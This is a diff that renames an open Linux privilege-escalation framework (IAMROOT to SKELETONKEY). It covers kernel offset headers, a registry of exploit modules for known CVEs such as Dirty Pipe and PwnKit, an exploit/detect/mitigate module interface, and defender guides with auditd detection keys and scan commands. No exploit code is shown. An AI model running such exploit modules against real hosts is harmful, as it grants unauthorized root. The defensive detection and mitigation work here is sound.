enum iamroot_offset_source source_cred; enum skeletonkey_offset_source source_cred;
}; };
/* Best-effort resolution. Returns the number of critical fields /* Best-effort resolution. Returns the number of critical fields
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
* *
* Resolution chain is tried in order; later sources do NOT overwrite * Resolution chain is tried in order; later sources do NOT overwrite
* a field already set by an earlier source. */ * a field already set by an earlier source. */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out); int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
/* Apply a runtime-leaked kbase to any embedded-table entries that /* Apply a runtime-leaked kbase to any embedded-table entries that
* shipped as relative-to-_text offsets. Idempotent. */ * shipped as relative-to-_text offsets. Idempotent. */
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off, void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase); uintptr_t leaked_kbase);
/* Returns true if modprobe_path can be written (the simplest root-pop /* Returns true if modprobe_path can be written (the simplest root-pop
* finisher). */ * finisher). */
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off); bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
/* Returns true if init_task + cred offsets are known (the cred-uid /* Returns true if init_task + cred offsets are known (the cred-uid
* finisher). */ * finisher). */
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off); bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
/* For diagnostic logging — pretty-print what we resolved to stderr. */ /* For diagnostic logging — pretty-print what we resolved to stderr. */
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off); void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
/* Helper: return the name of the source enum. */ /* Helper: return the name of the source enum. */
const char *iamroot_offset_source_name(enum iamroot_offset_source src); const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
#endif /* IAMROOT_OFFSETS_H */ #endif /* SKELETONKEY_OFFSETS_H */
+9 -9
View File
@@ -1,5 +1,5 @@
/* /*
* IAMROOT — module registry implementation * SKELETONKEY — module registry implementation
* *
* Simple flat array. Resized in chunks of 16. We never expect more * Simple flat array. Resized in chunks of 16. We never expect more
* than a few dozen modules, so this is fine. * than a few dozen modules, so this is fine.
@@ -14,22 +14,22 @@
#define REGISTRY_CHUNK 16 #define REGISTRY_CHUNK 16
static const struct iamroot_module **g_modules = NULL; static const struct skeletonkey_module **g_modules = NULL;
static size_t g_count = 0; static size_t g_count = 0;
static size_t g_cap = 0; static size_t g_cap = 0;
void iamroot_register(const struct iamroot_module *m) void skeletonkey_register(const struct skeletonkey_module *m)
{ {
if (m == NULL || m->name == NULL) { if (m == NULL || m->name == NULL) {
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n"); fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
return; return;
} }
if (g_count == g_cap) { if (g_count == g_cap) {
size_t new_cap = g_cap + REGISTRY_CHUNK; size_t new_cap = g_cap + REGISTRY_CHUNK;
const struct iamroot_module **n = const struct skeletonkey_module **n =
realloc((void *)g_modules, new_cap * sizeof(*g_modules)); realloc((void *)g_modules, new_cap * sizeof(*g_modules));
if (n == NULL) { if (n == NULL) {
fprintf(stderr, "[!] iamroot_register: OOM\n"); fprintf(stderr, "[!] skeletonkey_register: OOM\n");
return; return;
} }
g_modules = n; g_modules = n;
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
g_modules[g_count++] = m; g_modules[g_count++] = m;
} }
size_t iamroot_module_count(void) size_t skeletonkey_module_count(void)
{ {
return g_count; return g_count;
} }
const struct iamroot_module *iamroot_module_at(size_t i) const struct skeletonkey_module *skeletonkey_module_at(size_t i)
{ {
if (i >= g_count) return NULL; if (i >= g_count) return NULL;
return g_modules[i]; return g_modules[i];
} }
const struct iamroot_module *iamroot_module_find(const char *name) const struct skeletonkey_module *skeletonkey_module_find(const char *name)
{ {
if (name == NULL) return NULL; if (name == NULL) return NULL;
for (size_t i = 0; i < g_count; i++) { for (size_t i = 0; i < g_count; i++) {
+30 -30
View File
@@ -1,44 +1,44 @@
/* /*
* IAMROOT — module registry * SKELETONKEY — module registry
* *
* Global list of registered modules. Each family contributes via * Global list of registered modules. Each family contributes via
* register_<family>_modules() called from iamroot main() at startup. * register_<family>_modules() called from skeletonkey main() at startup.
*/ */
#ifndef IAMROOT_REGISTRY_H #ifndef SKELETONKEY_REGISTRY_H
#define IAMROOT_REGISTRY_H #define SKELETONKEY_REGISTRY_H
#include "module.h" #include "module.h"
void iamroot_register(const struct iamroot_module *m); void skeletonkey_register(const struct skeletonkey_module *m);
size_t iamroot_module_count(void); size_t skeletonkey_module_count(void);
const struct iamroot_module *iamroot_module_at(size_t i); const struct skeletonkey_module *skeletonkey_module_at(size_t i);
/* Find a module by name. Returns NULL if not found. */ /* Find a module by name. Returns NULL if not found. */
const struct iamroot_module *iamroot_module_find(const char *name); const struct skeletonkey_module *skeletonkey_module_find(const char *name);
/* Each module family declares one of these in its public header. The /* Each module family declares one of these in its public header. The
* top-level iamroot main() calls them in order at startup. */ * top-level skeletonkey main() calls them in order at startup. */
void iamroot_register_copy_fail_family(void); void skeletonkey_register_copy_fail_family(void);
void iamroot_register_dirty_pipe(void); void skeletonkey_register_dirty_pipe(void);
void iamroot_register_entrybleed(void); void skeletonkey_register_entrybleed(void);
void iamroot_register_pwnkit(void); void skeletonkey_register_pwnkit(void);
void iamroot_register_nf_tables(void); void skeletonkey_register_nf_tables(void);
void iamroot_register_overlayfs(void); void skeletonkey_register_overlayfs(void);
void iamroot_register_cls_route4(void); void skeletonkey_register_cls_route4(void);
void iamroot_register_dirty_cow(void); void skeletonkey_register_dirty_cow(void);
void iamroot_register_ptrace_traceme(void); void skeletonkey_register_ptrace_traceme(void);
void iamroot_register_netfilter_xtcompat(void); void skeletonkey_register_netfilter_xtcompat(void);
void iamroot_register_af_packet(void); void skeletonkey_register_af_packet(void);
void iamroot_register_fuse_legacy(void); void skeletonkey_register_fuse_legacy(void);
void iamroot_register_stackrot(void); void skeletonkey_register_stackrot(void);
void iamroot_register_af_packet2(void); void skeletonkey_register_af_packet2(void);
void iamroot_register_cgroup_release_agent(void); void skeletonkey_register_cgroup_release_agent(void);
void iamroot_register_overlayfs_setuid(void); void skeletonkey_register_overlayfs_setuid(void);
void iamroot_register_nft_set_uaf(void); void skeletonkey_register_nft_set_uaf(void);
void iamroot_register_af_unix_gc(void); void skeletonkey_register_af_unix_gc(void);
void iamroot_register_nft_fwd_dup(void); void skeletonkey_register_nft_fwd_dup(void);
void iamroot_register_nft_payload(void); void skeletonkey_register_nft_payload(void);
#endif /* IAMROOT_REGISTRY_H */ #endif /* SKELETONKEY_REGISTRY_H */
+11 -11
View File
@@ -14,7 +14,7 @@ modules/<module_name>/
├── MODULE.md # Human-readable writeup of the bug ├── MODULE.md # Human-readable writeup of the bug
├── NOTICE.md # Credits to original researcher ├── NOTICE.md # Credits to original researcher
├── kernel-range.json # Machine-readable affected kernels ├── kernel-range.json # Machine-readable affected kernels
├── module.c # Implements iamroot_module interface ├── module.c # Implements skeletonkey_module interface
├── module.h ├── module.h
├── detect/ ├── detect/
│ ├── auditd.rules # blue team detection │ ├── auditd.rules # blue team detection
@@ -24,10 +24,10 @@ modules/<module_name>/
└── tests/ # per-module tests (run in CI matrix) └── tests/ # per-module tests (run in CI matrix)
``` ```
### `iamroot_module` interface (planned, Phase 1) ### `skeletonkey_module` interface (planned, Phase 1)
```c ```c
struct iamroot_module { struct skeletonkey_module {
const char *name; /* "copy_fail" */ const char *name; /* "copy_fail" */
const char *cve; /* "CVE-2026-31431" */ const char *cve; /* "CVE-2026-31431" */
const char *summary; /* one-line description */ const char *summary; /* one-line description */
@@ -35,29 +35,29 @@ struct iamroot_module {
/* Return 1 if host appears vulnerable, 0 if patched/immune, /* Return 1 if host appears vulnerable, 0 if patched/immune,
* -1 if probe couldn't run. May call entrybleed_leak_kbase() * -1 if probe couldn't run. May call entrybleed_leak_kbase()
* etc. from core/ if a leak primitive is needed. */ * etc. from core/ if a leak primitive is needed. */
int (*detect)(struct iamroot_host *host); int (*detect)(struct skeletonkey_host *host);
/* Run the exploit. Caller has already passed the /* Run the exploit. Caller has already passed the
* authorization gate. Returns 0 on root acquired, * authorization gate. Returns 0 on root acquired,
* nonzero on failure. */ * nonzero on failure. */
int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts); int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
/* Apply a runtime mitigation for this CVE (sysctl, module /* Apply a runtime mitigation for this CVE (sysctl, module
* blacklist, etc.). Returns 0 on success. NULL if no * blacklist, etc.). Returns 0 on success. NULL if no
* mitigation is offered. */ * mitigation is offered. */
int (*mitigate)(struct iamroot_host *host); int (*mitigate)(struct skeletonkey_host *host);
/* Undo --exploit-backdoor or --mitigate side effects. */ /* Undo --exploit-backdoor or --mitigate side effects. */
int (*cleanup)(struct iamroot_host *host); int (*cleanup)(struct skeletonkey_host *host);
/* Affected kernel version range, distros covered, etc. */ /* Affected kernel version range, distros covered, etc. */
const struct iamroot_kernel_range *ranges; const struct skeletonkey_kernel_range *ranges;
size_t n_ranges; size_t n_ranges;
}; };
``` ```
Modules register themselves at link time via a constructor-attribute Modules register themselves at link time via a constructor-attribute
table. The top-level `iamroot` binary iterates the registry on each table. The top-level `skeletonkey` binary iterates the registry on each
invocation. invocation.
## Shared `core/` ## Shared `core/`
@@ -78,7 +78,7 @@ Code that more than one module needs lives in `core/`:
## Top-level dispatcher ## Top-level dispatcher
`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities: `skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`, 1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
`--detect-rules`, `--cleanup`, etc.) `--detect-rules`, `--cleanup`, etc.)
@@ -109,7 +109,7 @@ the module).
1. `git checkout -b add-cve-XXXX-NNNN` 1. `git checkout -b add-cve-XXXX-NNNN`
2. `cp -r modules/_stubs/_template modules/<module_name>` 2. `cp -r modules/_stubs/_template modules/<module_name>`
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json` 3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
4. Implement `module.c` exposing the `iamroot_module` interface 4. Implement `module.c` exposing the `skeletonkey_module` interface
5. Ship at least one detection rule under `detect/` 5. Ship at least one detection rule under `detect/`
6. Add tests under `tests/` 6. Add tests under `tests/`
7. PR. CI runs the matrix. If it lands root on at least one 7. PR. CI runs the matrix. If it lands root on at least one
+34 -34
View File
@@ -1,25 +1,25 @@
# IAMROOT for defenders # SKELETONKEY for defenders
IAMROOT is dual-use: the same binary that runs exploits also ships the SKELETONKEY is dual-use: the same binary that runs exploits also ships the
detection rules to spot them. This document is for the blue team. detection rules to spot them. This document is for the blue team.
## TL;DR ## TL;DR
```bash ```bash
# 1. Detect what you're vulnerable to (no system modification) # 1. Detect what you're vulnerable to (no system modification)
sudo iamroot --scan --json | jq . sudo skeletonkey --scan --json | jq .
# 2. Deploy detection rules covering every bundled CVE # 2. Deploy detection rules covering every bundled CVE
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo systemctl restart auditd sudo systemctl restart auditd
# 3. (Optional) Apply pre-patch mitigations for vulnerable families # 3. (Optional) Apply pre-patch mitigations for vulnerable families
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE
# 4. Watch # 4. Watch
sudo ausearch -k iamroot-copy-fail -ts recent sudo ausearch -k skeletonkey-copy-fail -ts recent
sudo ausearch -k iamroot-dirty-pipe -ts recent sudo ausearch -k skeletonkey-dirty-pipe -ts recent
sudo ausearch -k iamroot-pwnkit -ts recent sudo ausearch -k skeletonkey-pwnkit -ts recent
``` ```
## Why a single tool for offense and defense ## Why a single tool for offense and defense
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
Public LPE PoCs ship without detection rules. Public detection rules Public LPE PoCs ship without detection rules. Public detection rules
ship without test corpora. The gap means defenders deploy rules they ship without test corpora. The gap means defenders deploy rules they
never validate against a real exploit, and attackers iterate against never validate against a real exploit, and attackers iterate against
defenders who haven't tuned thresholds. IAMROOT closes that loop: defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
- Each module ships an exploit AND the detection rules that catch it. - Each module ships an exploit AND the detection rules that catch it.
- Every CVE in `CVES.md` has a row in the rule corpus. - Every CVE in `CVES.md` has a row in the rule corpus.
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
### Inventory what's bundled ### Inventory what's bundled
```bash ```bash
iamroot --list skeletonkey --list
``` ```
Prints every registered module with CVE, family, and one-line summary. Prints every registered module with CVE, family, and one-line summary.
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
### Run all detectors ### Run all detectors
```bash ```bash
iamroot --scan # human-readable skeletonkey --scan # human-readable
iamroot --scan --json # one JSON object → SIEM ingest skeletonkey --scan --json # one JSON object → SIEM ingest
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")' skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
``` ```
Result codes per module: Result codes per module:
@@ -63,23 +63,23 @@ Result codes per module:
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 | | `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 | | `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
`iamroot --scan` returns the WORST result code across all modules. `skeletonkey --scan` returns the WORST result code across all modules.
Use this in CI to fail builds that produce vulnerable images. Use this in CI to fail builds that produce vulnerable images.
### Deploy detection rules ### Deploy detection rules
```bash ```bash
# auditd (most environments) # auditd (most environments)
sudo iamroot --detect-rules --format=auditd \ sudo skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-iamroot.rules | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo augenrules --load # or systemctl restart auditd sudo augenrules --load # or systemctl restart auditd
# Sigma (for SIEMs that ingest sigma) # Sigma (for SIEMs that ingest sigma)
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
# YARA / Falco — placeholders for future modules; currently empty # YARA / Falco — placeholders for future modules; currently empty
iamroot --detect-rules --format=yara skeletonkey --detect-rules --format=yara
iamroot --detect-rules --format=falco skeletonkey --detect-rules --format=falco
``` ```
Rules are emitted in registry order, deduplicated by string-pointer: Rules are emitted in registry order, deduplicated by string-pointer:
@@ -91,19 +91,19 @@ auditd config).
| Key | Modules | What it catches | | Key | Modules | What it catches |
|---|---|---| |---|---|---|
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su | | `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) | | `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) | | `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches | | `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) | | `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
| `iamroot-pwnkit` | pwnkit | pkexec watch | | `skeletonkey-pwnkit` | pwnkit | pkexec watch |
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 | | `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
Search: Search:
```bash ```bash
sudo ausearch -k iamroot-copy-fail -ts today sudo ausearch -k skeletonkey-copy-fail -ts today
sudo ausearch -k iamroot-pwnkit -ts today sudo ausearch -k skeletonkey-pwnkit -ts today
``` ```
### Mitigate (pre-patch) ### Mitigate (pre-patch)
@@ -114,10 +114,10 @@ distro-portable workarounds:
```bash ```bash
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc, # Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches. # sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
sudo iamroot --mitigate copy_fail sudo skeletonkey --mitigate copy_fail
# Revert mitigation (e.g., before applying the real kernel patch) # Revert mitigation (e.g., before applying the real kernel patch)
sudo iamroot --cleanup copy_fail sudo skeletonkey --cleanup copy_fail
``` ```
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
```bash ```bash
# scan a host list via ssh # scan a host list via ssh
for h in $(cat fleet.txt); do for h in $(cat fleet.txt); do
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}' ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
done | jq -s . > fleet-scan-$(date +%F).json done | jq -s . > fleet-scan-$(date +%F).json
# group by vulnerability # group by vulnerability
@@ -148,9 +148,9 @@ modification.
| Rule | False-positive shape | | Rule | False-positive shape |
|---|---| |---|---|
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts | | `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts | | `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate | | `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
The shipped rules are starting points. Tune per environment. The shipped rules are starting points. Tune per environment.
+53 -53
View File
@@ -1,6 +1,6 @@
# IAMROOT detection playbook # SKELETONKEY detection playbook
Operational guide for blue teams using IAMROOT defensively. Pairs Operational guide for blue teams using SKELETONKEY defensively. Pairs
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
make it part of your daily ops" guide. make it part of your daily ops" guide.
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
``` ```
┌─────────────┐ ┌─────────────┐
│ inventory │ ← iamroot --list (what's bundled?) │ inventory │ ← skeletonkey --list (what's bundled?)
└──────┬──────┘ └──────┬──────┘
┌─────────────┐ ┌─────────────┐
│ scan │ ← iamroot --scan --json (what am I vulnerable to?) │ scan │ ← skeletonkey --scan --json (what am I vulnerable to?)
└──────┬──────┘ └──────┬──────┘
┌─────────────┐ ┌─────────────┐
│ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt │ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt
└──────┬──────┘ └──────┬──────┘
┌────────────┼────────────┐ ┌────────────┼────────────┐
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
└────────────┼────────────┘ └────────────┼────────────┘
┌─────────────┐ ┌─────────────┐
│ monitor │ ← ausearch -k iamroot-* / SIEM alerts │ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts
└─────────────┘ └─────────────┘
``` ```
@@ -39,17 +39,17 @@ make it part of your daily ops" guide.
```bash ```bash
# Daily/weekly hygiene check # Daily/weekly hygiene check
sudo iamroot --scan sudo skeletonkey --scan
# If anything's VULNERABLE, deploy detections + apply mitigation # If anything's VULNERABLE, deploy detections + apply mitigation
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo augenrules --load sudo augenrules --load
sudo iamroot --mitigate copy_fail # or whichever module fired sudo skeletonkey --mitigate copy_fail # or whichever module fired
``` ```
### Small fleet (~10-100 hosts, SSH-reachable) ### Small fleet (~10-100 hosts, SSH-reachable)
Use `tools/iamroot-fleet-scan.sh`: Use `tools/skeletonkey-fleet-scan.sh`:
```bash ```bash
# Hosts list — one per line; user@host:port supported # Hosts list — one per line; user@host:port supported
@@ -61,8 +61,8 @@ ops@db-01:2222
EOF EOF
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc. # Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
./iamroot-fleet-scan.sh \ ./skeletonkey-fleet-scan.sh \
--binary ./iamroot \ --binary ./skeletonkey \
--ssh-key ~/.ssh/ops_key \ --ssh-key ~/.ssh/ops_key \
--parallel 8 \ --parallel 8 \
hosts.txt > fleet-scan-$(date +%F).json hosts.txt > fleet-scan-$(date +%F).json
@@ -95,7 +95,7 @@ Output shape:
### Larger fleet (>100 hosts) ### Larger fleet (>100 hosts)
`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For `skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
fleets too large for SSH-fan-out, wrap it in your config-management fleets too large for SSH-fan-out, wrap it in your config-management
tool of choice: tool of choice:
@@ -108,22 +108,22 @@ tool of choice:
Sample Ansible task: Sample Ansible task:
```yaml ```yaml
- name: scan with iamroot - name: scan with skeletonkey
copy: copy:
src: iamroot src: skeletonkey
dest: /tmp/iamroot dest: /tmp/skeletonkey
mode: '0755' mode: '0755'
- name: run --scan --json - name: run --scan --json
command: /tmp/iamroot --scan --json --no-color command: /tmp/skeletonkey --scan --json --no-color
register: scan register: scan
changed_when: false changed_when: false
failed_when: false # iamroot exit codes are semantic, not errors failed_when: false # skeletonkey exit codes are semantic, not errors
- name: collect - name: collect
set_fact: set_fact:
iamroot_scan: "{{ scan.stdout | from_json }}" skeletonkey_scan: "{{ scan.stdout | from_json }}"
- name: cleanup - name: cleanup
file: file:
path: /tmp/iamroot path: /tmp/skeletonkey
state: absent state: absent
``` ```
@@ -133,46 +133,46 @@ Sample Ansible task:
``` ```
# splunk input config (inputs.conf) # splunk input config (inputs.conf)
[script:///opt/iamroot/iamroot-cron-scan.sh] [script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
interval = 86400 interval = 86400
source = iamroot source = skeletonkey
sourcetype = iamroot:scan sourcetype = skeletonkey:scan
``` ```
`iamroot-cron-scan.sh`: `skeletonkey-cron-scan.sh`:
```bash ```bash
#!/bin/bash #!/bin/bash
/usr/local/bin/iamroot --scan --json --no-color /usr/local/bin/skeletonkey --scan --json --no-color
``` ```
Search the indexed events: Search the indexed events:
```spl ```spl
index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
| stats count by host modules{}.cve | stats count by host modules{}.cve
``` ```
### Elastic / OpenSearch ### Elastic / OpenSearch
Filebeat module reading the per-host scan JSON files (one per day), Filebeat module reading the per-host scan JSON files (one per day),
indexed into an `iamroot-*` index pattern. Standard Kibana indexed into an `skeletonkey-*` index pattern. Standard Kibana
visualization on `modules.cve` over time tracks vulnerability lifecycle. visualization on `modules.cve` over time tracks vulnerability lifecycle.
### Sigma → your platform ### Sigma → your platform
```bash ```bash
# Ship Sigma rules into your platform # Ship Sigma rules into your platform
iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
# Convert to your target (Sentinel, Elastic, etc.) via sigmac # Convert to your target (Sentinel, Elastic, etc.) via sigmac
sigmac -t elastic /etc/sigma/iamroot.yml sigmac -t elastic /etc/sigma/skeletonkey.yml
``` ```
## Day-to-day operational shape ## Day-to-day operational shape
### What "good" looks like in the SIEM ### What "good" looks like in the SIEM
- Daily `iamroot --scan --json` from every host indexed - Daily `skeletonkey --scan --json` from every host indexed
- Trend dashboard: count of VULNERABLE results by CVE over time - Trend dashboard: count of VULNERABLE results by CVE over time
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for - Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
patched-mainline bugs, 24h for actively-exploited) patched-mainline bugs, 24h for actively-exploited)
@@ -181,22 +181,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
### Auditd events from the embedded rules ### Auditd events from the embedded rules
After deploying `iamroot --detect-rules --format=auditd`: After deploying `skeletonkey --detect-rules --format=auditd`:
```bash ```bash
# By module key # By module key
sudo ausearch -k iamroot-copy-fail -ts today sudo ausearch -k skeletonkey-copy-fail -ts today
sudo ausearch -k iamroot-dirty-pipe -ts today sudo ausearch -k skeletonkey-dirty-pipe -ts today
sudo ausearch -k iamroot-pwnkit -ts today sudo ausearch -k skeletonkey-pwnkit -ts today
sudo ausearch -k iamroot-nf-tables-userns -ts today sudo ausearch -k skeletonkey-nf-tables-userns -ts today
sudo ausearch -k iamroot-overlayfs -ts today sudo ausearch -k skeletonkey-overlayfs -ts today
# Anything iamroot-tagged in the last hour # Anything skeletonkey-tagged in the last hour
sudo ausearch -k 'iamroot-*' -ts recent sudo ausearch -k 'skeletonkey-*' -ts recent
# Forward to syslog (rsyslog example) # Forward to syslog (rsyslog example)
# /etc/rsyslog.d/iamroot.conf: # /etc/rsyslog.d/skeletonkey.conf:
:msg, contains, "iamroot-" @@your-siem.example.com:514 :msg, contains, "skeletonkey-" @@your-siem.example.com:514
``` ```
### When a VULNERABLE result fires ### When a VULNERABLE result fires
@@ -208,11 +208,11 @@ A scan reports VULNERABLE for module X
├── Q: Can I patch the underlying kernel / package? ├── Q: Can I patch the underlying kernel / package?
│ ├── YES → schedule patch window. In the meantime: │ ├── YES → schedule patch window. In the meantime:
│ │ iamroot --mitigate X (if supported) │ │ skeletonkey --mitigate X (if supported)
│ │ Verify auditd rule for X is loaded. │ │ Verify auditd rule for X is loaded.
│ │ Monitor for the rule key. │ │ Monitor for the rule key.
│ └── NO (legacy LTS, embedded device, prod freeze) → │ └── NO (legacy LTS, embedded device, prod freeze) →
iamroot --mitigate X (essential) skeletonkey --mitigate X (essential)
│ Compensating control: tighten LSM (SELinux/AppArmor) │ Compensating control: tighten LSM (SELinux/AppArmor)
│ Document in risk register │ Document in risk register
@@ -238,7 +238,7 @@ If you applied a mitigation and now need to revert (e.g., the kernel
patch has rolled out fleet-wide): patch has rolled out fleet-wide):
```bash ```bash
sudo iamroot --cleanup copy_fail sudo skeletonkey --cleanup copy_fail
# OR manually: # OR manually:
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
@@ -249,11 +249,11 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
| Rule key | False positive | Fix | | Rule key | False positive | Fix |
|---|---|---| |---|---|---|
| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs | | `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts | | `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign | | `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs | | `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` | | `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
## Pre-patch quarantine pattern ## Pre-patch quarantine pattern
@@ -261,13 +261,13 @@ If a CVE is in active exploitation and you can't patch immediately:
```bash ```bash
# Stage 1: detect # Stage 1: detect
sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")' sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
# Stage 2: mitigate (where supported) # Stage 2: mitigate (where supported)
sudo iamroot --mitigate <module> sudo skeletonkey --mitigate <module>
# Stage 3: monitor — auditd rules already deployed # Stage 3: monitor — auditd rules already deployed
sudo ausearch -k 'iamroot-*' -ts today | grep <module> sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
# Stage 4: contain — temporarily restrict the trigger surface # Stage 4: contain — temporarily restrict the trigger surface
